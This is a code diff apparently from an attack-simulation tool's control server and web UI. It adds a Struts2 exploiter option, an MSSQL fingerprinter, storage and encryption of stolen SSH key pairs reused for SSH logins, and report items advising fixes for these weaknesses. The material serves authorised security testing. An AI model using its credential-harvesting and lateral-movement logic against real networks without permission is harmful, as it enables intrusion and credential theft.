ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
user['name'], user['ip'])
@staticmethod @staticmethod
def encrypt_exploit_creds(telemetry_json): def encrypt_exploit_creds(telemetry_json):
attempts = telemetry_json['data']['attempts'] attempts = telemetry_json['data']['attempts']
@ -218,7 +242,7 @@ class Telemetry(flask_restful.Resource):
for field in ['password', 'lm_hash', 'ntlm_hash']: for field in ['password', 'lm_hash', 'ntlm_hash']:
credential = attempts[i][field] credential = attempts[i][field]
if len(credential) > 0: if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential) attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
@ -229,4 +253,4 @@ TELEM_PROCESS_DICT = \
'scan': Telemetry.process_scan_telemetry, 'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry 'trace': Telemetry.process_trace_telemetry
} }

View File

@ -1,7 +1,9 @@
import copy import copy
import collections import collections
import functools import functools
import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types
from cc.database import mongo from cc.database import mongo
from cc.encryptor import encryptor from cc.encryptor import encryptor
@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0" WARNING_SIGN = u" \u26A0"
SCHEMA = { SCHEMA = {
@ -76,6 +80,13 @@ SCHEMA = {
], ],
"title": "ElasticGroovy Exploiter" "title": "ElasticGroovy Exploiter"
}, },
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
] ]
}, },
"finger_classes": { "finger_classes": {
@ -117,6 +128,14 @@ SCHEMA = {
], ],
"title": "MySQLFinger" "title": "MySQLFinger"
}, },
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{ {
"type": "string", "type": "string",
"enum": [ "enum": [
@ -202,32 +221,9 @@ SCHEMA = {
"Amount of hops allowed for the monkey to spread from the island. " "Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far" + " Note that setting this value too high may result in the monkey propagating too far"
}
}
},
"network_range": {
"title": "Network range",
"type": "object",
"properties": {
"range_class": {
"title": "Range class",
"type": "string",
"default": "FixedRange",
"enum": [
"FixedRange",
"ClassCRange"
],
"enumNames": [
"Fixed Range",
"Class C Range"
],
"description":
"Determines which class to use to determine scan range."
" Fixed Range will scan only specific IPs listed under Fixed range IP list."
" Class C Range will scan machines in the Class C network the monkey's on."
}, },
"range_fixed": { "subnet_scan_list": {
"title": "Fixed range IP list", "title": "Scan IP/subnet list",
"type": "array", "type": "array",
"uniqueItems": True, "uniqueItems": True,
"items": { "items": {
@ -236,8 +232,8 @@ SCHEMA = {
"default": [ "default": [
], ],
"description": "description":
"List of IPs to include when using FixedRange" "List of IPs/subnets the monkey should scan."
" (Only relevant for Fixed Range)" " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
} }
} }
} }
@ -386,6 +382,7 @@ SCHEMA = {
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"MySQLFinger", "MySQLFinger",
"MSSQLFinger",
"ElasticFinger" "ElasticFinger"
], ],
"description": "Determines which classes to use for fingerprinting" "description": "Determines which classes to use for fingerprinting"
@ -444,11 +441,19 @@ SCHEMA = {
"default": "/tmp/monkey", "default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine" "description": "Determines where should the dropper place the monkey on a Linux machine"
}, },
"dropper_target_path": { "dropper_target_path_win_32": {
"title": "Dropper target path on Windows", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey.exe", "default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine" "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
}, },
"dropper_try_move_first": { "dropper_try_move_first": {
"title": "Try to move first", "title": "Try to move first",
@ -519,6 +524,16 @@ SCHEMA = {
}, },
"default": [], "default": [],
"description": "List of NTLM hashes to use on exploits using credentials" "description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
} }
} }
}, },
@ -560,7 +575,7 @@ SCHEMA = {
"type": "string" "type": "string"
}, },
"default": [ "default": [
"41.50.73.31:5000" "192.0.2.0:5000"
], ],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)" "description": "List of command servers to try and communicate with (format is <ip>:<port>)"
}, },
@ -582,7 +597,7 @@ SCHEMA = {
"current_server": { "current_server": {
"title": "Current server", "title": "Current server",
"type": "string", "type": "string",
"default": "41.50.73.31:5000", "default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with" "description": "The current command server the monkey is communicating with"
} }
} }
@ -610,7 +625,8 @@ SCHEMA = {
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"ElasticGroovyExploiter" "ElasticGroovyExploiter",
"Struts2Exploiter"
], ],
"description": "description":
"Determines which exploits to use. " + WARNING_SIGN "Determines which exploits to use. " + WARNING_SIGN
@ -815,7 +831,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
[ [
['basic', 'credentials', 'exploit_password_list'], ['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list'] ['internal', 'exploits', 'exploit_ntlm_hash_list'],
['internal', 'exploits', 'exploit_ssh_keys']
] ]
@ -903,11 +920,24 @@ class ConfigService:
def creds_add_ntlm_hash(ntlm_hash): def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key,
"user": user, "ip": ip})
@staticmethod
def ssh_key_exists(keys, user, ip):
return [key for key in keys if key['user'] == user and key['ip'] == ip]
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
if should_encrypt: if should_encrypt:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
@staticmethod @staticmethod
def init_default_config(): def init_default_config():
@ -923,6 +953,7 @@ class ConfigService:
config = copy.deepcopy(ConfigService.default_config) config = copy.deepcopy(ConfigService.default_config)
if should_encrypt: if should_encrypt:
ConfigService.encrypt_config(config) ConfigService.encrypt_config(config)
logger.info("Default config was called")
return config return config
@staticmethod @staticmethod
@ -936,6 +967,7 @@ class ConfigService:
config = ConfigService.get_default_config(True) config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False) ConfigService.update_config(config, should_encrypt=False)
logger.info('Monkey config reset was called')
@staticmethod @staticmethod
def set_server_ips_in_config(config): def set_server_ips_in_config(config):
@ -952,6 +984,7 @@ class ConfigService:
initial_config['name'] = 'initial' initial_config['name'] = 'initial'
initial_config.pop('_id') initial_config.pop('_id')
mongo.db.config.insert(initial_config) mongo.db.config.insert(initial_config)
logger.info('Monkey config was inserted to mongo and saved')
@staticmethod @staticmethod
def _extend_config_with_default(validator_class): def _extend_config_with_default(validator_class):
@ -993,8 +1026,12 @@ class ConfigService:
""" """
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] # Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
else:
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else: else:
flat_config[key] = encryptor.dec(flat_config[key]) flat_config[key] = encryptor.dec(flat_config[key])
return flat_config return flat_config
@ -1007,4 +1044,19 @@ class ConfigService:
config_arr = config_arr[config_key_part] config_arr = config_arr[config_key_part]
for i in range(len(config_arr)): for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
pair['public_key'] = encryptor.enc(pair['public_key'])
pair['private_key'] = encryptor.enc(pair['private_key'])
else:
pair['public_key'] = encryptor.dec(pair['public_key'])
pair['private_key'] = encryptor.dec(pair['private_key'])
return pair

View File

@ -0,0 +1,32 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLogService:
def __init__(self):
pass
@staticmethod
def get_log_file():
"""
This static function is a helper function for the monkey island log download function.
It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
has the property handler.baseFilename.
:return:
a dict with the log file content.
"""
logger_handlers = logger.parent.handlers
for handler in logger_handlers:
if hasattr(handler, 'baseFilename'):
logger.info('Log file found: {0}'.format(handler.baseFilename))
log_file_path = handler.baseFilename
with open(log_file_path, 'rt') as f:
log_file = f.read()
return {
'log_file': log_file
}
logger.warning('No log file could be found, check logger config.')
return None

View File

@ -1,6 +1,9 @@
import ipaddress import ipaddress
import logging
from enum import Enum from enum import Enum
from six import text_type
from cc.database import mongo from cc.database import mongo
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
@ -10,6 +13,9 @@ from cc.utils import local_ip_addresses, get_subnets
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class ReportService: class ReportService:
def __init__(self): def __init__(self):
pass pass
@ -24,6 +30,7 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -34,6 +41,8 @@ class ReportService:
SHELLSHOCK = 4 SHELLSHOCK = 4
CONFICKER = 5 CONFICKER = 5
AZURE = 6 AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -77,6 +86,8 @@ class ReportService:
creds = ReportService.get_azure_creds() creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds]) machines = set([instance['origin'] for instance in creds])
logger.info('Azure issues generated for reporting')
return [ return [
{ {
'type': 'azure_password', 'type': 'azure_password',
@ -103,6 +114,8 @@ class ReportService:
} }
for node in nodes] for node in nodes]
logger.info('Scanned nodes generated for reporting')
return nodes return nodes
@staticmethod @staticmethod
@ -124,6 +137,8 @@ class ReportService:
} }
for monkey in exploited] for monkey in exploited]
logger.info('Exploited nodes generated for reporting')
return exploited return exploited
@staticmethod @staticmethod
@ -147,6 +162,28 @@ class ReportService:
'origin': origin 'origin': origin
} }
) )
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def get_ssh_keys():
"""
Return private ssh keys found as credentials
:return: List of credentials
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1}
):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
if telem['data']['ssh_info']:
# Pick out all ssh keys not yet included in creds
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} for key_pair in telem['data']['ssh_info']
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} not in creds]
creds.extend(ssh_keys)
return creds return creds
@staticmethod @staticmethod
@ -167,6 +204,8 @@ class ReportService:
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users] 'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users) creds.extend(azure_leaked_users)
logger.info('Azure machines creds generated for reporting')
return creds return creds
@staticmethod @staticmethod
@ -182,9 +221,12 @@ class ReportService:
for attempt in exploit['data']['attempts']: for attempt in exploit['data']['attempts']:
if attempt['result']: if attempt['result']:
processed_exploit['username'] = attempt['user'] processed_exploit['username'] = attempt['user']
if len(attempt['password']) > 0: if attempt['password']:
processed_exploit['type'] = 'password' processed_exploit['type'] = 'password'
processed_exploit['password'] = attempt['password'] processed_exploit['password'] = attempt['password']
elif attempt['ssh_key']:
processed_exploit['type'] = 'ssh_key'
processed_exploit['ssh_key'] = attempt['ssh_key']
else: else:
processed_exploit['type'] = 'hash' processed_exploit['type'] = 'hash'
return processed_exploit return processed_exploit
@ -210,8 +252,12 @@ class ReportService:
@staticmethod @staticmethod
def process_ssh_exploit(exploit): def process_ssh_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit) processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'ssh' # Check if it's ssh key or ssh login credentials exploit
return processed_exploit if processed_exploit['type'] == 'ssh_key':
return processed_exploit
else:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod @staticmethod
def process_rdp_exploit(exploit): def process_rdp_exploit(exploit):
@ -246,6 +292,12 @@ class ReportService:
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
return processed_exploit return processed_exploit
@staticmethod
def process_struts2_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -258,6 +310,7 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -282,7 +335,7 @@ class ReportService:
return \ return \
[ [
ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks'] for network in network_info['data']['network_info']['networks']
] ]
@ -295,7 +348,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets: for subnet in monkey_subnets:
for ip in island_ips: for ip in island_ips:
if ipaddress.ip_address(unicode(ip)) in subnet: if ipaddress.ip_address(text_type(ip)) in subnet:
found_good_ip = True found_good_ip = True
break break
if found_good_ip: if found_good_ip:
@ -311,13 +364,15 @@ class ReportService:
@staticmethod @staticmethod
def get_issues(): def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {} issues_dict = {}
for issue in issues: for issue in issues:
machine = issue['machine'] machine = issue['machine']
if machine not in issues_dict: if machine not in issues_dict:
issues_dict[machine] = [] issues_dict[machine] = []
issues_dict[machine].append(issue) issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict return issues_dict
@staticmethod @staticmethod
@ -349,10 +404,7 @@ class ReportService:
@staticmethod @staticmethod
def get_config_ips(): def get_config_ips():
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
True) != 'FixedRange':
return []
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
@staticmethod @staticmethod
def get_config_scan(): def get_config_scan():
@ -374,8 +426,12 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password': elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users: issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -408,6 +464,7 @@ class ReportService:
{'name': 'generated_report'}, {'name': 'generated_report'},
{'$set': {'value': True}}, {'$set': {'value': True}},
upsert=True) upsert=True)
logger.info("Report marked as generated.")
@staticmethod @staticmethod
def get_report(): def get_report():
@ -436,6 +493,7 @@ class ReportService:
'exploited': ReportService.get_exploited(), 'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(), 'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(), 'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys()
}, },
'recommendations': 'recommendations':
{ {

File diff suppressed because it is too large Load Diff

View File

@ -42,18 +42,18 @@
"karma-chai": "^0.1.0", "karma-chai": "^0.1.0",
"karma-coverage": "^1.0.0", "karma-coverage": "^1.0.0",
"karma-mocha": "^1.0.0", "karma-mocha": "^1.0.0",
"karma-mocha-reporter": "^2.2.4", "karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0", "karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5", "karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^1.7.0", "karma-webpack": "^1.7.0",
"minimist": "^1.2.0", "minimist": "^1.2.0",
"mocha": "^3.0.0", "mocha": "^5.2.0",
"null-loader": "^0.1.1", "null-loader": "^0.1.1",
"open": "0.0.5", "open": "0.0.5",
"phantomjs-prebuilt": "^2.1.15", "phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.0.0", "react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^1.2.9", "react-hot-loader": "^1.2.9",
"rimraf": "^2.4.3", "rimraf": "^2.6.2",
"style-loader": "^0.13.2", "style-loader": "^0.13.2",
"url-loader": "^0.5.9", "url-loader": "^0.5.9",
"webpack": "^1.15.0", "webpack": "^1.15.0",
@ -61,28 +61,29 @@
}, },
"dependencies": { "dependencies": {
"bootstrap": "^3.3.7", "bootstrap": "^3.3.7",
"core-js": "^2.5.1", "core-js": "^2.5.5",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"js-file-download": "^0.4.1", "js-file-download": "^0.4.1",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
"moment": "^2.21.0", "moment": "^2.22.1",
"normalize.css": "^4.0.0", "normalize.css": "^4.0.0",
"prop-types": "^15.5.10", "npm": "^5.8.0",
"prop-types": "^15.6.1",
"rc-progress": "^2.2.5", "rc-progress": "^2.2.5",
"react": "^15.6.1", "react": "^15.6.2",
"react-bootstrap": "^0.31.2", "react-bootstrap": "^0.31.5",
"react-copy-to-clipboard": "^5.0.0", "react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.1.1", "react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^15.6.1", "react-dom": "^15.6.2",
"react-fa": "^4.2.0", "react-fa": "^4.2.0",
"react-graph-vis": "^0.1.3", "react-graph-vis": "^0.1.4",
"react-json-tree": "^0.10.9", "react-json-tree": "^0.10.9",
"react-jsonschema-form": "^0.50.1", "react-jsonschema-form": "^0.50.1",
"react-modal-dialog": "^4.0.7", "react-modal-dialog": "^4.0.7",
"react-redux": "^5.0.6", "react-redux": "^5.0.7",
"react-router-dom": "^4.2.2", "react-router-dom": "^4.2.2",
"react-table": "^6.7.4", "react-table": "^6.7.4",
"react-toggle": "^4.0.1", "react-toggle": "^4.0.1",

View File

@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json()) .then(res => res.json())
.then(res => { .then(res => {
res.edges.forEach(edge => { res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group); edge.color = {'color': edgeGroupToColor(edge.group)};
}); });
this.setState({graph: res}); this.setState({graph: res});
this.props.onStatusChange(); this.props.onStatusChange();

View File

@ -7,7 +7,7 @@ import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords'; import StolenPasswords from 'components/report-components/StolenPasswords';
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
import {Line} from 'rc-progress'; import {Line} from 'rc-progress';
import AuthComponent from 'components/AuthComponent'; import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import SharedCreds from "components/report-components/SharedCreds"; import SharedCreds from "components/report-components/SharedCreds";
import StrongUsers from "components/report-components/StrongUsers"; import StrongUsers from "components/report-components/StrongUsers";
@ -26,7 +26,9 @@ class ReportPageComponent extends AuthComponent {
SAMBACRY: 3, SAMBACRY: 3,
SHELLSHOCK: 4, SHELLSHOCK: 4,
CONFICKER: 5, CONFICKER: 5,
AZURE: 6 AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
}; };
Warning = Warning =
@ -297,6 +299,8 @@ class ReportPageComponent extends AuthComponent {
return x === true; return x === true;
}).length} threats</span>: }).length} threats</span>:
<ul> <ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null} <li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ? {this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -322,7 +326,10 @@ class ReportPageComponent extends AuthComponent {
<li>Azure machines expose plaintext passwords. (<a <li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null} >More info</a>)</li> : null}
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
</ul> </ul>
</div> </div>
: :
@ -347,7 +354,7 @@ class ReportPageComponent extends AuthComponent {
<li>Weak segmentation - Machines from different segments are able to <li>Weak segmentation - Machines from different segments are able to
communicate.</li> : null} communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ? {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - machines were able to communicate over unused ports.</li> : null} <li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
</ul> </ul>
</div> </div>
: :
@ -417,6 +424,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/> <ScannedServers data={this.state.report.glance.scanned}/>
</div> </div>
<div>
<StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
</div>
{this.generateReportPthMap()} {this.generateReportPthMap()}
<div style={{marginBottom: '20px'}}> <div style={{marginBottom: '20px'}}>
<StolenPasswords data={this.state.report.glance.stolen_creds}/> <StolenPasswords data={this.state.report.glance.stolen_creds}/>
@ -589,6 +599,22 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateSshKeysIssue(issue) {
return (
<li>
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">SSH</span> attack.
<br/>
The Monkey authenticated over the SSH protocol with private key <span
className="label label-success">{issue.ssh_key}</span>.
</CollapsibleWellComponent>
</li>
);
}
generateRdpIssue(issue) { generateRdpIssue(issue) {
return ( return (
<li> <li>
@ -717,6 +743,24 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateStruts2Issue(issue) {
return (
<li>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
<CollapsibleWellComponent>
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read <a
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
@ -737,6 +781,9 @@ class ReportPageComponent extends AuthComponent {
case 'ssh': case 'ssh':
data = this.generateSshIssue(issue); data = this.generateSshIssue(issue);
break; break;
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp': case 'rdp':
data = this.generateRdpIssue(issue); data = this.generateRdpIssue(issue);
break; break;
@ -761,6 +808,9 @@ class ReportPageComponent extends AuthComponent {
case 'azure_password': case 'azure_password':
data = this.generateAzureIssue(issue); data = this.generateAzureIssue(issue);
break; break;
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
} }
return data; return data;
}; };

View File

@ -1,8 +1,9 @@
import React from 'react'; import React from 'react';
import {Col} from 'react-bootstrap'; import {Button, Col} from 'react-bootstrap';
import JSONTree from 'react-json-tree' import JSONTree from 'react-json-tree'
import {DataTable} from 'react-data-components'; import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />; const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
const renderTime = (val) => val.split('.')[0]; const renderTime = (val) => val.split('.')[0];
@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects})); .then(res => this.setState({data: res.objects}));
}; };
downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
let filename = 'Island_log'
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
};
render() { render() {
return ( return (
<Col xs={12} lg={8}> <div>
<h1 className="page-title">Log</h1> <div>
<div className="data-table-container"> <Col xs={12} lg={8}>
<DataTable <h1 className="page-title">Log</h1>
